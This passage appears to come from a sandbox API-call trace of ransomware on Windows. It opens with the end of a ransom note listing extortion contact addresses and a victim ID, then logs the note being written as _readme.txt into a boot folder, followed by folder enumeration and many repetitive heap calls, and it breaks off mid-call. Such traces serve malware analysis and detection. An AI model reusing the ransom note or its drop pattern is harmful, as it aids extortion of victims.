e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.618] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.618] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.618] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.618] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.618] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.619] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.619] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, 